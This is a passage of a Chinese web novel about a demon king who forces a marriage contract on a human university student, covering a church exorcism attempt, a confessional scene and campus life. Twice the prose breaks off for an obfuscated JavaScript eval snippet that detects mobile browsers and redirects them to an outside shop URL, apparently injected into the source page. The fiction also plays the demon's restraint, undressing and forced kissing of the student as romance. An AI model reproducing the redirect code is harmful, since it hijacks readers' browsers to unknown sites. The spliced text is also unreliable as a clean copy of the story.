薇拉很感兴趣地凑过来:“老板,我还是很好奇,你到底是怎么出去的?我研究几天了也没研究明白。法器用了东方邪术,再高等级的西方魔力都很难短时间暴力破解,除非有什么更高层次的联结……” “哦!”薇拉恍然大悟,眯起眼,“莫非,你的黄金初羽在小朋友身上有不小法力,能把你的魂直接拉过去?” “可是大人和人类先生连初次进食都没有完成,怎么可能有这么深的羁绊……”骷髅绅士持续表示担忧,“大人,你可千万不要用什么剑走偏锋的办法呀。为了出去兜风承担未知风险,这不值得。” 魔王不经意地透露:“我确实没有用什么剑走偏锋的法子,很简单的,每个魔都会。” “什么?是什么??”连薇拉怀里的黑猫都高高竖起了耳朵。 阿斯蒙蒂斯轻轻一笑:“我和他……” 最后一个字音落下,四周陷入死寂。 十秒后,死寂。 五分钟后,依旧死寂。 “翠果,打烂她的嘴!”从僵尸的放映机音响里传出来,划破了该死的沉默。 众鬼恢复动态。僵尸的两颗眼珠啪啪掉出来,一向仪态优雅的骷髅绅士直直跪到地上,聒噪的狼人始终没发出声音,女巫崩溃大喊:“什么?阿斯蒙蒂斯??你真的疯了吧!!” 魔王优雅品茶:“我可没疯,确实每个魔都会。” 僵尸一边捡眼珠子一边大叫:“但是没有魔会和人类——” 女巫抓狂:“这相当于把你和人类的命连在一起了!一方死亡,另一方也会死。人类是那么短命又脆弱的生物,即使他能活到100岁,你的生命也只能到那个时候了!” 魔王托着下巴:“在那之前再解除也不迟。” “那如果他下一秒出意外车祸死了呢?你也跟着魂飞魄散了!” 魔王:“我这不是天天看着他嘛,我每晚都有叮嘱他早点休息别熬夜。” 骷髅绅士的语气从未如此急切,差点献上跪拜大礼:“大人,趁还没有意外发生,赶紧解除契约吧!” 魔王不耐烦地皱眉:“啧。” 骷髅无奈又不解:“您这是何必呢?您拥有无限的生命、强大的权力、至高无上的地位,与短命卑微的人类种族有着天壤之别,有什么值得您做出这样巨大的冒险和牺牲呢?” 魔王有几秒沉默,似乎有些茫然,但这种从未发生在魔王身上的茫然很快就从他眼里消失了,取而代是的所有人熟悉的狂妄。 魔王修长的手指支着下巴,轻浮地歪头一笑,玩世不恭地说:“无聊太久了,玩玩而已。” - 在一个艳阳高照的周末,陶冬米来到了城东的大教堂。 陶冬米依照指引找到神父,神父带领他穿过长长的走廊,进入一个房间,来到大主教的面前。 “噢我的孩子,听闻你最近被恶魔缠身,我有什么可以帮到你?”主教问。 陶冬米:“主教大人,我最近经常见到恶魔的虚影,他随时随地在我身边出现。您知道有效驱散恶魔的方法吗?” “噢当然,我的孩子,我们帮助过不少这样的信众。只要心诚,驱散恶魔并不困难。” 陶冬米眼睛一亮:“我要怎么做?” 神父将一张精致的卡纸放到陶冬米面前,微笑道:“捐赠圣像,主自会保佑你。” 陶冬米低头看到好几位的金额,足以支付他大半年的生活费,有些迟疑:“……这样有用吗?” “当然,我的孩子。”主教慈祥回答,“我们驱散恶魔的成功率是100%。” “好的。”陶冬米咬咬牙,有些窘迫地小声说:“但我现在没法一下子拿出这么多……” “我的孩子,当然没关系,心诚则灵。”神父的微笑变淡了一些,“我们接受分期捐赠。” 陶冬米点点头,打开书包翻钱包,手一顿:“对了,我还带来了这个,想请主教大人帮忙看看。” “手机和相机无法记录下恶魔的影像或者声音,所以我带来了恶魔的笔迹。”陶冬米从书包里抽出几张纸,“这是他手抄的一部分《圣经》。我要他抄写中文,但他擅自写成了希伯来语版本。您能不能从中探知到恶魔的踪迹,并且找到驱除他的办法?” 听到“恶魔手抄圣经”,主教的脸色就变了变。 那几张薄薄的纸散在案台上,主教和神父如临大敌地盯着,没敢动。 过了会儿,主教谨慎地戴上手套,拿起银柄放大镜,捏起纸页细细观察。 主教的表情忽然变得很严肃:“你是在哪里第一次遇到这个恶魔的?” 陶冬米下意识想说“锈栅街”,但很快意识到,如果自己把这个地方说出去,主教或许会带人直接杀到锈栅街。 虽然孟翟思是个烦人的混账东西,但万圣派对上大多数其他人,哦不…鬼,都对他挺好的。 活泼的小女巫、礼貌的骷髅先生、唱歌跑调的僵尸……他们不在乎陶冬米是人类,不会调侃他异常的长相,也不令他尴尬,只是簇拥着他唱歌跳舞,好像欢乐永无止尽。陶冬米和他们度过了此生最快乐的一次聚会狂欢。 还有一口京腔的吸血鬼酒馆老板,她一定很喜欢她的酒吧,才把里面布置得很漂亮。 如果主教带人过去,会不会对他们造成毁灭性的打击? 想到这些,陶冬米转移重点,说:“可能是我带走了恶魔的金色羽毛,才被他缠上的。” 主教:“什么样的羽毛?” “我把它毁掉了。”陶冬米有些紧张,“会不会是因为这个?” “不要慌乱,我的孩子。”说着,主教继续用放大镜观察恶魔的手书,还时不时往上面滴水、用火燎,眉头越来越紧锁。 神父轻轻咳嗽了一声,主教抬头看向他,两人无声地交换了几个眼神,神父小幅度地点点头。 陶冬米更加紧张:“看出什么了吗?” “一切尽在掌握,我的孩子。只是有一件小事……”神父安抚地笑笑,将精致卡纸翻到背面,“这名恶魔比我们想象的更恶劣一点,所以供奉小圣像的诚意无法召唤足够强大的天主力量。” 陶冬米看到一个超过两年生活费加学费的数额,心里一凉:“可我……” “我相信你这段时间一定过得很折磨吧,我的孩子。”神父温柔地打断他。 陶冬米抿唇点点头。 神父目光怜惜:“如果这样的折磨会伴随你一生,那将是难以想象的悲剧。” 陶冬米暗暗攥紧手心:“我知道了,我会努力……” “我发现!”主教突然激动大叫,拿着放大镜的手不停地颤抖。 陶冬米赶紧问:“主教先生,您发现了什么?” 主教死死盯着恶魔手抄的圣经,双眼充血,目眦尽裂,圆润的身材不正常地抖动。 神父也被惊到:“主教大人!” “我发现……我发现……!” 主教全身的肉抖动到一个夸张的频率,突然“咔”一声,整个人松弛下来,恢复到了平时的状态。 “哈哈!”主教陡然抬起头,咧出一个无限慈爱的微笑,双手捧起恶魔手迹,肥厚的嘴唇虔诚地在纸上落下一吻。 “我发现——孟翟思大人手写的希伯来书法非常漂亮,翩若惊鸿,婉若游龙!” “……”神父呆滞几秒,飞快地举高银质十字架,抬手将圣水甩向主教,厉声道,“Exorcizo te, omnis spiritus immunde, in nomine Dei!” 话音未落,十字架“哐当”砸到地上,神父像一只被灌食的鸭子,被一只无形的手掐住脖子提到空中,整张脸肉眼可见的变紫发肿,双手挣扎地想掰开那无形的大手,双腿在半空中无力地乱蹬。 陶冬米悚然,不知从哪来的勇气,愤怒高喝:“孟翟思!!” “诶!” 高大的虚影从主教身体里迅速钻出来,在空中欢快地打了两个转,像看见主人的金毛一样从空中撒开四蹄直奔陶冬米飞来,感动得双目飙泪,“老婆~~!你叫我名字真好听!” “啪!!” 这次抽的是黄金右脸。 孟翟思被陶冬米打得脸偏向一边,安静了几秒,一本满足地舔舔唇角,舒服地眯起眼:“嗯,老婆真棒,保持这个力度。” 陶冬米怒不可遏:“快给我把神父先生放下来!” 孟翟思无辜地挠头:“哎呀,见到老婆太激动,忘记了。” 可怜的神父已经快在半空中嗝屁了,无形的桎梏突然松开,神父像沙袋一样“咚”地砸到地面,和主教大人一起,双双昏死过去。 孟翟思伤心道:“宝贝,你见到我的第一句话居然是关心别的男人。我好难过。” 陶冬米压根不理他,径自掏出手机打急救电话。 嘟,嘟,嘟,打不通。 陶冬米毫无犹豫地看向孟翟思,冷冷道:“你让我打电话!” 孟翟思无辜摊手:“只是这里信号不好。你用的是电信还是移动?” 陶冬米狠狠瞪他一眼,把手机揣回兜里,连书包都没带,噔噔噔跑出去找人来急救。 从房间回到教堂主殿,要穿过一条高高的、长长的,亮着幽暗壁灯的空寂走廊。 陶冬米跑呀跑,跑了好久,却怎么也跑不到头,比来时长了好多。 陶冬米突然意识到什么,慢慢停下脚步,无端出了一身冷汗。 跟着神父过来的时候,他注意到这条走廊旁边建有三个小小的忏悔室,其中第二间忏悔室外的壁灯是熄灭的。 而刚刚,陶冬米至少路过了六个忏悔室,第二间和第五间外面的灯是灭的。 陶冬米继续往前跑了一段,果不其然又看到三间忏悔室,同样,第二间外的灯是熄灭的。 向前看,长廊深深没有尽头,向后看也是如此。 他被困在循环里了。 陶冬米高喊:“孟翟思!我知道是你捣的鬼!” 没有回答,只有自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903672|191940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音,像落入深井的石子一样,传回失真扭曲的回音。 “你捣的鬼……的鬼……鬼……骨……饿……” 这下陶冬米真有些毛骨悚然,又试探地喊了一声:“孟翟思,你给我——” 本想说“你给我滚出来”,但陶冬米又怕他真的像个球一样滚出来,于是改口喊:“孟翟思,你给我飞出来!” 长廊幽深,没有回答。 陶冬米心跳如鼓,无边的恐惧淹没他。 这时,微风从侧面拂来,稍稍安抚了陶冬米的恐惧。 他定了定神,慢慢向前,思考如何从这里走出去。 恶魔的能力再强大,这里总归是在大教堂,他现在能力受限,刚刚还接连袭击了两个高级别的神职人员,想来法力总会有被耗光的时候,要维持这么大规模的环境变换一定坚持不了多久,所以很可能,这个循环是有限的! 那么循环的破绽在哪里? 风……对,空气流通!有风的地方就代表着有出口。 而风是从侧面来的,陶冬米转向风吹来的方向…… 等等,不对。 冷汗争先恐后地冒出来,这条走廊两边都没有窗户,怎么会有风? 但已经晚了,陶冬米直直对上一双幽暗的金瞳,恶魔正在距离自己三寸远的地方,朝自己的脸吹气。 “Bravo!”孟翟思欢呼,“老婆,你找到我啦。” 陶冬米心脏停跳,双腿一软,被恶魔强势地搂进怀里。 恶魔抱着他,随便走进旁边的一间忏悔室。 忏悔室又称告解室,像一个私密的小亭子。信徒坐在一边,神父坐在另一边,中间用雕花木板将二人隔开,信徒在这里向代表上帝的神父忏悔自身的罪孽,以寻求上帝的宽恕。 告解室里狭小又压抑,陶冬米被恶魔压在角落,还没有从刚才的恐惧中回过神来,手脚发软地无力推拒,喘息道:“孟翟思,你做什么?放我出去!” “我有点生气。”孟翟思声音低沉,语气是前所未有的严肃。 陶冬米莫名其妙:“你有什么好生气的?” 孟翟思垂眸:“你居然是真的想除掉我。” 陶冬米感到荒唐:“天呐!那要不然呢?我难道应该邀请你和我一起上学吗?” 孟翟思欣然道:“我觉得这个主意不错。” “我累了。”陶冬米疲倦道,“和你搏斗占用了我太多学习时间。” 孟翟思再次心碎:“难道我在你心中还比不上《生理学》吗?” 陶冬米身心俱疲:“你说吧,需要我做什么你才能离开我?我只想过平静的大学生活。” 孟翟思诚恳道:“不需要你做任何事,我只想和你好好过日子。” 简直无法沟通。 陶冬米叹了口气:“我知道,你就是怨恨我带走了你的金羽毛,对不对?可是它已经被车碾碎了,我没法给你找回来了……” 孟翟思不敢相信地看着他,好笑地问:“你是这么想的?” “我知道你的金羽毛很昂贵,所以我去金店看过,要将金子做成一片羽毛实在太贵了,我现在实在买不起……” 陶冬米自顾自从口袋里掏出一根金色的羽毛,送到恶魔面前,不太好意思地说:“这是我在学校捡的鸽子羽毛,找美院学姐帮我漆成了金色,不知道能不能弥补你。” 孟翟思目瞪口呆。 陶冬米语气中带了些央求:“你暂且先拿走这一根羽毛,等我有钱了再给你买金的,以后别再来找我了,行吗?” 孟翟思一把攥住陶冬米手中的金色鸽子毛,热泪盈眶地抱住陶冬米,狠狠在他脸上亲了一口! “宝贝儿,我太感动了!我不需要金子,我很喜欢这个礼物……当然,亲爱的,如果你能别用鸽子那种愚蠢生物的毛就更好……当然!只要是你送的,我都很喜欢!” 陶冬米木着脸鼓掌:“你喜欢可真是太好了,所以请问您现在可以圆润地离开了吗?” “哦,亲爱的,你实在太可爱了。”孟翟思满脸怜爱,“你真的不知道金羽毛在哪里吗?看来东方人界市面上关于魅魔的科普书还是太稀缺了……” 陶冬米麻木道:“……你是什么意思?” “就让我告诉你吧,亲爱的。” 孟翟思做了一个手势,狭小阴暗的告解室顿时像迪士尼公主的南瓜马车一样变身,眼前的雕花木隔板亮晶晶闪烁,变成了一面光滑的镜子。 镜子清晰地映出两人的样子,陶冬米被紧紧夹在孟翟思和镜子中间。 温暖的指尖轻点陶冬米小巧的喉结,充满挑逗意味地往下滑。 “你做什么!” 陶冬米喊破了音,像只应激的小猫,疯狂挣扎起来。但他怎么可能反抗得过恶魔,四肢关节像是被铁锁牢牢禁锢着。 孟翟思温柔地解开陶冬米前胸的衣扣,轻轻往下拉,一寸一寸露出男孩纤细的锁骨,和白净细腻的皮肤。 陶冬米满眼含满了泪,失态地骂:“孟翟思,你真是个……大混蛋!” “虽然我确实是大混蛋,但你总是这样骂老公,老公还是会有点伤心的。”孟翟思安抚地啄去陶冬米眼角的泪水,指尖在陶冬米胸前轻轻划过,一个金色的纹样缓缓在他胸口浮现。 像一双展翅欲飞的翅膀,中间是一个爱心的形状,正好嵌在陶冬米细瘦的锁骨下方。 孟翟思指尖一碾,从纹章中凭空抽出了一根熟悉的金色羽毛。 正是当时万圣夜,孟翟思送给陶冬米、被他扔进垃圾桶、又被扔进车底的那一根恶魔的金羽毛。 陶冬米呆呆地看着镜中的自己:“你对我做了什么……” “别怕,看着我。”孟翟思握着陶冬米的下巴,让他看向镜中的恶魔。 孟翟思一颗颗解开自己的黑衬衣扣子,饱满的肌群迫不及待地将领口崩开。 只见恶魔的锁骨下方、胸肌上方,也烙着一个几乎一模一样的金色纹样。只是他的爱心更复杂,翅膀的形状更修长。 陶冬米呆滞地问:“这是什么。” 孟翟思语气甜蜜:“这是我们契约的证明。” 陶冬米:“什么契约……?” 孟翟思低头吻了吻陶冬米的额心:“婚契。” 陶冬米陷入沉默。 孟翟思:“哎呀,你高兴得都不会说话啦。” 陶冬米闭了闭眼:“……我什么时候跟你签订过这个鬼契约?” 孟翟思再次心碎:“老婆,你连这都忘了吗?就在万圣节那夜呀。你亲口给我取了名字,说了喜欢我,还答应我,说愿意成为我的伴侣。” 陶冬米:“…………” 孟翟思深情地说:“亲爱的,你知道吗,你给我取名字、重复我的姓名、答应与我结为伴侣,这在魅魔的习俗里,相当于你们古代东方的明媒正娶、三书六礼——婚姻的最高礼制。” 陶冬米确信自己正在灵魂出窍。 在神圣大教堂的忏悔室中,魔王牵起人类的双手,语气郑重地说:“陶冬米,在上帝的注视下,我愿对你承诺,从今天开始,无论是顺境或是逆境,富有或贫穷,健康或疾病,我将永远爱你、陪伴你,直到世界尽头。” 陶冬米:“……” 孟翟思宣誓完,深情亲吻陶冬米冰凉的嘴唇,偏头,笑嘻嘻地问他:“我说到做到。你信我吗?” 10.十个骗子 陶冬米呆滞地看着镜中自己胸前的金纹,心中只剩下一遍遍绝望的回响。 我在万圣节和恶魔结婚了? 我在万圣节和恶魔结婚了。 我在万圣节和恶魔结婚了…… “亲爱的,我很高兴你认可了我们的婚姻。”孟翟思绅士地捏着金羽毛,指尖一松,羽毛自动隐入陶冬米体内,消失不见了。 陶冬米想将金羽毛从身体里抓出来,无果。 孟翟思视若珍宝地捧着陶冬米送他的金色鸽子毛,满脸幸福:“冬米好爱我,还给老公回礼定情信物。” 陶冬米看着他,面无表情地说:“孟翟思,我要和你离婚。手续在哪办?” “哎哟!我的小祖宗,这话可不能乱说!”孟翟思一蹦三尺高,飞快地捂住了陶冬米的嘴。 “这里是忏悔室,直接连通上帝,要是他老人家真听到了,直接划一道银河把我们分开了怎么办?老婆,你肯定不想失去我的吧!” 陶冬米毫无犹豫,拍着忏悔室的木墙大喊:“上帝先生,快让我和孟翟思离婚吧!上帝先生您听得到吗!” 孟翟思哈哈大笑,像抱小猫一样把陶冬米整个人裹进怀里:“哈哈哈,你还真信了?上帝关私信了,他听不到的!” “而且难道你以为和魔王离婚这么简单的吗,喊一句「我想离婚」就可以?” 陶冬米气呼呼地把恶魔往外推:“这里是教堂,我肯定能在这儿找到能帮我的人!” “噢……”孟翟思作思索状,“你是说外面那个毫无反抗之力就被我附身了的废物大主教吗?” 陶冬米:“……” 确实,大主教已经是这片土地上最有能力的神职人员了。 孟翟思:“别白费功夫了亲爱的。至少要加百列那个级别的炽天使领袖才有资格和我一战。” 陶冬米:“……” “你想找加百列吗?我有他微信哦。”孟翟思像亲嘴鱼一样撅嘴,点了点自己的嘴唇,“亲老公一口,老公就把他推给你。” “滚!”陶冬米头痛欲裂地推开他,径直向外走去。 孟翟思赶紧追上,像一只巨型花蚊子绕着陶冬米不停地转圈飞翔,嗡嗡嗡地承诺:“老婆,我绝对再不烦你了。你别再总是赶我走就行!老婆吃饭我夹菜,老婆上课我旁听,老婆睡觉我暖床,老婆洗澡我按摩……” “闭嘴。”陶冬米冷脸回头。 孟翟思立刻消音,做了一个给嘴巴拉拉链的动作。 陶冬米打开手机看课表:“我要赶回学校上课,在此之前我要先去救醒……” 话音未落,陶冬米感到一阵天旋地转,眼花缭乱,嗖嗖嗖几下,头晕眼花地睁开眼,刹那时间,他们已经回到了学校。 孟翟思扬着翅膀,尾巴乱甩,满脸骄傲:“老婆,夸我。老公快不快?” 陶冬米脸色惨白,捂住翻江倒海的胃:“……呕。” 孟翟思手足无措:“老婆你怎么了?我们还没做过呢!而且我对延续香火这件事没有什么执念。” 恶魔脸上渐渐浮现出红晕:“但是当然如果老婆你愿意给我生个宝宝……” 陶冬米懒得跟他贫嘴,连翻白眼的力气都没有:“我的书包还在教堂。” 嗖!孟翟思不见了。 嗖!孟翟思又出现了,屈指拎着陶冬米的书包。 陶冬米烦得要命:“我需要确定主教和神父还活着!” “放心吧,他们俩皮糙肉厚,活蹦乱跳的。”半透明的恶魔狠狠亲了陶冬米一口,不由分说地搂着他往教学楼走,“我送你去上课。” - 陶冬米绝望地发现,他正在逐渐习惯恶魔的存在。 从刚开始每次都会被恶魔吓到,到现在陶冬米已经练就了无惧之身。 早晨睁开眼,怀里抱着的毛绒小兔变成一个凹造型的邪魅长发肌肉男,陶冬米淡定地把此魔从上铺直接推下去,合拢窗帘换衣服。 和同学们吃饭,半透明的神秘微笑男子从圆桌中央缓缓升起,陶冬米淡定转桌,将恶魔转成背面。 在浴室里正要脱衣服洗澡,磨砂窗边突然飘出一位认真托腮的观众,陶冬米淡定地将恶魔亲手升级过的天使符印用力贴到他自己脸上,恶魔瞬间惨叫着消失。 孟翟思简直就是一个大型自动宠物跟随系统,还是别人都看不见的那种。 这几天,陶冬米尝试通过各种办法询问“如何和魅魔解除婚契”,网友们桀桀笑着建议说喂饱魅魔让他吃到撑就行了,灵媒师神秘地拿出一副塔罗牌说先算算你们的姻缘长不长久,校园灵异匿名论坛建议他找一个看得懂魅魔契约的律师起诉离婚……全是无法采信的回答。 陶冬米只能再次拨通城东教堂的求助热线,却被遗憾告知,大主教最近身体抱恙,正在休养。 看似是习惯了,实则是没招了。 夜晚,陶冬米钻进被窝,孟翟思跟着躺下,隔着被子和陶冬米面对面,没皮没脸地索要晚安吻。 陶冬米翻身不理他,就被孟翟思握着肩膀转回来强吻。 还记得刚被恶魔缠上的时候,陶冬米整个人缩在被窝里冒冷汗,害怕得几乎整夜睡不着。 这才没过多少天,怎么就变成这样了? “因为老婆爱上我啦。”孟翟思看穿他心中所想,腆着脸蹭过来。 陶冬米摘掉眼镜,眼不见为净。 临近期末,陶冬米的课业压力越来越大,专业课本完全背不完。 陶冬米睡前不再思考如何驱魔,而是变成胆碱受体激动药和拮抗药,要考得足够高,他才能拿到奖学金,尽量替父母减少一些负担。 脑子里乱七八糟,陶冬米安静地侧躺,闭着眼睛,却怎么也睡不着。 “睡不着?”温暖的臂弯用力搂过来。 陶冬米闭着眼咬牙切齿,在心里对恶魔说:你闭嘴我就能睡着了。 “我给你唱摇篮曲。”孟翟思说。 陶冬米:别唱,我求你了。 “哦命运,像月亮般变化无常,盈虚交替。” 孟翟思自顾自地唱起来,是万圣夜派对上大家共同唱过的《布兰诗歌》。他哼唱的曲调不像万圣夜那晚那样欢快,也不像人类交响乐版本那样恢宏悲怆,而是一种质朴的洒脱。 大概孟翟思在艺术造诣这方面真的没骗人,他唱歌很好听,声音低沉醇厚,拉丁语咬字不那么清晰,但莫名令人内心平静,令人想到阳光晒着草垛的农场,或者午后懒洋洋的集市。 “可恶的生活,把苦难和幸福交织;无论贫贱与富贵,都如冰雪般融化消亡……” 陶冬米睡着了。 孟翟思支起胳膊,安静地注视着陶冬米的睡颜。 雪白的睫毛乖巧垂落,瘦薄的身子轻轻起伏,呼吸像月光一样柔软。 魔王这些天能清楚地看见,陶冬米心中对他,从深紫色的恐惧,变成深绿色的厌恶,再到现在成为烦躁和无语交替的情绪。 没有玫红色。陶冬米对他一点喜欢也没有。 ——哦天呐!那是当然。魔王心道。 人类越厌恶他,越恐惧他,“魔王”之位才越是实至名归。 就这样轻松将单纯胆怯的小男孩玩弄于股掌之间,真是漫漫魔生中不可多得的乐趣。 魔王抱着逗弄的心思俯身,想亲吻陶冬米的额头,转念一想,好不容易才把这小东西哄睡着,弄醒了又麻烦,于是就没亲。 - 陶冬米睡过了头。 陶冬米抓起书包一路狂奔出宿舍,孟翟思跟在后面狂笑:“哈哈哈哈,你睡得好像小猪!” 陶冬米恼道:“你来都来了,怎么不喊我起床?” 孟翟思蔫儿坏:“我一直很想看好学生迟到一次。” 陶冬米头疼。 离早八还剩十分钟,陶冬米抄了条小道去教学楼。 这条路比较偏僻,平时没什么人走,偶有情侣夜间幽会,唯有靠近考试周的时候会变得很热闹。 主要是因为这边有一个喷泉,民国时期的老景观,华丽复古的巴洛克风格,非常漂亮,在光秃秃的小路交叉处很亮眼。 不知多少年前,有前辈说在这里许的愿都能成真,于是喷泉渐渐就被当成了许愿池。这个说法一届届传下来,每当临近考试,来池边祈求考试顺利的学生们络绎不绝。 虽然校方在喷泉边竖了牌子禁止往池里扔东西,但池底还是铺满了一层硬币,全是大家图吉利偷偷扔的。 陶冬米在学习这方面从不求神拜佛,匆匆路过许愿池,差点撞上一个人。 “小陶?” 陶冬米抬头,又倏地垂眼:“学长。” 蔡宇杰声音一如既往的温柔:“最近都没有在实验室看到你,有些担心,你身体还好吗?” 陶冬米:“我还好的,谢谢学长。” “呀,这是?” 蔡宇杰旁边站着几个男生,闻声都好奇地看向陶冬米,目光毫无遮拦地打量他。 陶冬米记得清楚,万圣节派对第二天早上,他们和蔡宇杰一起从锈栅街隔壁的酒吧里走出来。 “这是我的学弟,陶冬米。”蔡宇杰介绍道,“非常厉害的小朋友,帮了我很多忙。” “喔,很厉害哦。” “久仰大名,今天终于见到了。” “小陶同学,我们加个微信?” 如果是以前,陶冬米一定会感到开心和害羞,蔡学长在他的朋友们面前夸奖他,但现在陶冬米只觉得酸涩难受。 陶冬米抓紧书包:“我要赶去上课……” “你之前跟的那个实验在收尾阶段,你打算什么时候回实验室?”蔡宇杰笑着问,“大家都很想你。” “我……” 陶冬米有些为难,一是实验确实还没做完,即使是帮助别人,陶冬米也不想半途而废,二是,万一万圣节学长那天只是在别人面前说出那样的话呢?蔡学长可能只是要面子,才说他没找过自己。 “哦天呐,宝贝你真是单纯得可爱。”孟翟思飘过来,恨铁不成钢地对陶冬米说,“你到现在还不明白吗,你的亲亲蔡学长就是在利用你!” 陶冬米心说,你懂什么?他平时真的对我挺好的,在实验室我也很开心…… 孟翟思无奈道:“宝贝儿,你就是太单纯善良了,所以才会被学长骗,被神父骗,你兜里有一百块别人能从你这骗走两百!老婆我担心你被大坏蛋骗身骗心啊!” 陶冬米无声看向半透明的恶魔,眼神十分复杂。 谁才是最大的大骗子啊? “怎么样,想好了吗?”蔡宇杰问。 孟翟思像只大喇叭,围着陶冬米不停地左叭叭右叭叭上叭叭下叭叭:“拒绝他!拒绝他!拒绝他!拒绝他!” 陶冬米被吵得淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916180|191940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡皱眉,低声道:“抱歉学长,最近期末太忙了,我可能没办法去你的实验项目了。” “啊。”蔡宇杰凝滞几秒,扬起和平时一样英俊的笑容,“我理解,当然考试更重要,你安心复习吧,小陶加油。” 学长的声音还是那么温柔,陶冬米心里一软,想说要不还是答应他吧,帮忙盯盯实验写写报告也花不了太多时间…… “要迟到了要迟到了要迟到了!”孟翟思举起一个不知从哪掏出来的超大复古座钟,播报倒计时,“还剩两分钟!” 陶冬米脸色一变,和蔡宇杰说了声谢谢,便匆匆跑向教学楼。 白发男孩的身影消失在小路尽头,一个高个子男生突然“嗤”了一声:“好厉害的学弟,还跟蔡哥摆上谱了,你们看到他刚刚的表情了吗?居然还皱眉。” “就是。”有人立刻附和,“能有幸参与到蔡哥的项目里是多少人都求不来的机会。” “这个陶冬米是不是不知道蔡叔叔是谁……真是不知天高地厚啊哈哈哈……” 蔡宇杰脸上方才的笑容早已消失得无影无踪。 “蔡哥,这个姓陶的小子胆子很小,对不对?”高个子问。 蔡宇杰语气很淡:“他是没什么胆量。” - 陶冬米踩着准点到达教室,恶魔在一旁遗憾地叹气:“可惜,没看到你迟到。” 陶冬米充耳不闻,找位置坐下,摊开笔记本,很快投入课程之中。 孟翟思在旁边安静地坐了一会儿,很快就多动症犯了,在教室里飞来飞去,一会儿盘旋一会儿倒挂。陶冬米早已练就对他熟视无睹的技巧,岿然不动,丝毫不受影响地听课。 正在做鬼脸的时候,孟翟思突然顿住,嗖地飞回陶冬米身边,笑眯眯地对他说:“老婆,我要离开一下。” 陶冬米专注记笔记。 孟翟思在陶冬米侧脸“啵”地狠亲一口:“不要想念老公哦,老公很快就回来。” 陶冬米专注地看黑板。 恶魔无声地消失了。 孟翟思睁眼,懒洋洋地在躺椅上伸了个懒腰。 “老板,你可算回来了!”卡加里握住魔王的手,欲哭无泪,“阎王大人发火了!” “阿斯蒙蒂斯!”阎王坐在威严的青铜色圈椅,悬浮空中,穆照邻神情严肃,站立其后。 魔王英俊微笑:“嗨老爷子,好久不见,您气色又变好了!” 阎王头冒青烟:“阿斯蒙蒂斯,你明知不可干扰人间事务,为何强迫两位高级神职人员提供免费教堂服务?你身为冥界高级领袖,干涉天堂在人间小分支的家务事做什么!他们告状告到我这来了!” 魔王耸耸肩:“他们侵害消费者权益。” 阎王:“主教和神父还被你半夜扮鬼突脸吓得卧床不起!” 魔王礼貌道:“不做亏心事,不怕鬼敲门。” 阎王不想与他辩论,一锤定音:“你们回去吧!我供不起您这尊大佛。我们会请天堂派遣天使来净化未知魔族。” 狼人欢呼:“好耶!终于能回家了。” 孟翟思一巴掌将狼人关机,露出乖巧的笑容:“阎王大人,他们回去可以,我要留在这里。” 阎王吹胡子瞪眼:“留你在这里做什么?继续祸害人间吗!” 孟翟思正义凌然地挺胸抬头:“不打胜仗,绝不归乡。” 正在往嘴里塞螺狮粉的薇拉举手:“我也要留在这!还有好多中华美食没吃过。” 僵尸抹泪:“等我三刷完这部电视剧再回去。” 骷髅:“大人在哪我就在哪。” “那你们就给我老老实实呆在这儿!”阎王单手挥落,哐一声巨响,锈栅街的天色立刻变得漆黑,仿佛被罩进了一只巨大坚固的牢笼,只剩下密不透风的黑夜。 “没有我的允许,任何灵体无法以任何形式离开这里!” 阎王一挥衣袖,震怒而去。 “……”僵尸张大嘴,“阎王爷爷这下真生气了。” 孟翟思满脸自信:“有什么拦得住我和我老婆的婚契连接呢?” 半透明的孟翟思从躯体里脱出,施施然走向锈栅街边界。 “砰!!”狠狠撞到了黑沉的墙上。 薇拉幸灾乐祸:“哈哈,阎王爷出狠招了。” 孟翟思换了好几个方向,尝试了无数种法子,还是没折腾出去。 “怎么可能……”孟翟思喃喃。“我出不去,我老婆怎么办!他离了我没法生活的。” 薇拉津津有味地欣赏了很久老板吃瘪的样子,劝道:“老板,乖乖呆在这儿吧!” 孟翟思捂住心口:“我老婆看不到我,会想死我的。” 薇拉:“我觉得小朋友应该更想你死。” - 恶魔扔下一句“老公很快就回来”就消失了,直到夜晚,他都没有回来。 陶冬米睡前都觉得不可置信,真的吗?竟有这种好事? 第二天早上醒来,陶冬米下意识做了一个把身旁人往下推的动作,清醒了些,才发现并没有恶魔缠上来哭唧唧地说老婆不要我了。 孟翟思竟然还是没有出现。 连着几天,恶魔消失得无影无踪,仿佛人间蒸发。 陶冬米站在镜子前刷牙,镜子一切正常,已经很久没有映出过恶魔的身影。 陶冬米不禁哼起了欢快的歌。 11.十一颗眼球 校园论坛,杂谈板块。 【阿飘】有没有人最近晚上在实验楼楼下碰到怪事的。。。 楼主:如题。我现在还在后怕,希望是我想出实验结果想出幻觉了。 1楼:哇,好久不见的灵异类型帖子。楼主遇上啥事了? 楼主:事情是这样的,我干完活下到一楼,走廊灯突然黑了。实验楼一楼的灯不是一直有点不灵吗,我就以为是灯坏了,没当回事。 但是我又走了几步,发现眼前黑得出奇,连走廊轮廓都没有,什么都看不到,我才发现不对…… 楼主:然后恐怖的事情发生了,我的眼前一点点亮起来。原来一楼的灯没有熄,而是我的眼睛被人蒙住了。一个中年女人在摸我的眼睛,摸完眼睛往下摸我的脸。。。 